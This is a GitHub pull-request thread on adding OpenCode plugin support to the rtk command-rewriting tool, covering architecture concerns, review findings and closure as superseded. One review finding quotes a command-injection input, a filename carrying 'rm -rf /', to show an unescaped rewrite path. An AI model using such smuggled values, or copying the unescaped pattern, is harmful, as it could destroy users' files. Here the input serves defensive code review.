Feature/opencode integration

[AlecMcQuarrie]

Add support for opencode's plugin layout.

[pszymkowiak]

Great work on this, thanks for the effort! The Rust code is clean, 418 tests pass, and all existing commands work fine.

We have one architectural concern we'd like to discuss before merging.

The TypeScript plugin reimplements rewrite logic that should live in Rust.

hooks/opencode-rtk-plugin.ts is 309 lines of regex-based command rewriting — the same logic that exists in hooks/rtk-rewrite.sh (bash) and will soon be native Rust via PR #150 (rtk
hook-rewrite). This means rewrite logic maintained in 3 places, and the TS version already diverges (it rewrites cat, grep, find, diff which the bash hook intentionally skips because the
argument interfaces are incompatible).

Proposed architecture: rtk hook-rewrite as universal entry point

Once PR #150 merges, every integration should call the same Rust binary:

Claude Code → hook (JSON) → rtk hook-rewrite
OpenCode → plugin (TS) → rtk hook-rewrite
Gemini CLI → hook (bash) → rtk hook-rewrite
Codex → hook (TBD) → rtk hook-rewrite

OpenCode's tool.execute.before hook https://opencode.ai/docs/plugins/, so the plugin could be ~10 lines:
hooks: {
"tool.execute.before": async (input) => {
const result = await $rtk hook-rewrite ${input.command};
return { ...input, command: result.text() };
}
}

Single source of truth in Rust, zero divergence, trivial to add new providers.

Other notes:

• rtk discover --opencode silently returns zero results for all users — OpenCode uses SQLite but the provider only reads JSONL
• The rtk init --opencode installer and README docs are good and can be reused as-is

Suggestion: Wait for PR #150 to merge, then resubmit with a minimal plugin calling rtk hook-rewrite. We're open to discussing the approach — happy to help shape this!

[pszymkowiak]

Thanks for this PR — the TypeScript plugin is well-structured and the parity with rtk-rewrite.sh is solid. However there are blocking issues to fix:

P0 — rtk discover --opencode returns 0 results on real installations
OpenCode doesn't store sessions as JSONL. The actual storage is ~/.local/share/opencode/storage/ with binary/structured subdirectories (message/, session/, etc.). The current code silently scans 0 sessions on a real install. Either implement a working parser for OpenCode's actual format, or return an explicit error explaining the limitation.

P1-A — XDG path traversal risk
XDG_CONFIG_HOME/XDG_DATA_HOME are used for file writes without checking they're absolute paths. The XDG spec requires this check. Add: if !p.is_absolute() { fall back to ~/.config }.

P1-B — Non-atomic plugin write
The plugin file uses fs::write() directly. If interrupted, OpenCode loads a corrupt plugin. Use atomic_write() (already exists in init.rs).

P1-C — head rewrite: filename passes unescaped
head -10 "file.txt; rm -rf /" → rtk read file.txt; rm -rf / --max-lines 10. The filename captured by the regex goes directly into the rewritten command.

[FlorianBruniaux]

Hi @zeval, @tom-thompson, @AlecMcQuarrie, @itai-delphos! We have four OpenCode integration PRs open (#225, #262, #300, #303) — they overlap significantly. We're leaning toward the lighter plugin approach (#303 or #300) for a first merge, then building on top. @AlecMcQuarrie (#225), @itai-delphos (#262) — could you rebase first (CI is failing on both), and let's discuss in a comment which features go beyond what #300/#303 offer? We'd like to avoid landing four competing implementations.

[CLAassistant]

Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
_{You have signed the CLA already but the status is still pending? Let us recheck it.}

[pszymkowiak]

Hi! Two things needed before we can review:

1. Retarget to develop — this PR targets master, but all PRs should target develop. You can change the base branch in the PR settings (right sidebar).
2. Sign the CLA — if not already done, please sign at https://cla-assistant.io/rtk-ai/rtk

Thanks!

[aeppling]

Hey

We are cleaning up the codebase and improving the project structure for better onboarding. As part of this effort, PR #826 reorganizes src/ from a flat layout into subfolders.

No logic changes — only file moves and import path updates.

What you need to do

Rebase your branch on develop when receiving this comment:

git fetch origin && git rebase origin/develop

Git detects renames automatically. If you get import conflicts, update the paths:

use crate::git;        // now: use crate::cmds::git::git;
use crate::tracking;   // now: use crate::core::tracking;
use crate::config;     // now: use crate::core::config;
use crate::init;       // now: use crate::hooks::init;
use crate::gain;       // now: use crate::analytics::gain;

Need help rebasing? Tag @aeppling

[ThomasCarca]

Hello, is this still relevant ? The doc seems to indicate opencode is part of the supported agents.

Some clear communication on this on the related threads could benefit anyone waiting for an opencode integration.

[pszymkowiak]

Hi @AlecMcQuarrie — closing this one. OpenCode plugin support was
merged into rtk via #300 (by @zeval) on 2026-03-11, then refined in
later releases. The plugin currently lives in
src/discover/provider.rs and the hook installer at
src/hooks/init.rs.

As @FlorianBruniaux noted in his 2026-03-05 comment, four overlapping
OpenCode PRs were open at the time (#225, #262, #300, #303); the
lighter plugin approach was preferred for the first integration. The
heavier Rust-side changes from your branch are no longer applicable
to the current layout (src/ was reorganized in #826 and would need
a full rewrite anyway).

Thanks for the original work — your PR helped pressure-test the
plugin API design. If you find a real-world gap in the current
OpenCode integration (a session-discovery edge case, a rewrite path
that doesn't fire, etc.), please open a fresh issue with a repro and
we'll fix it directly.

Closing as superseded by #300.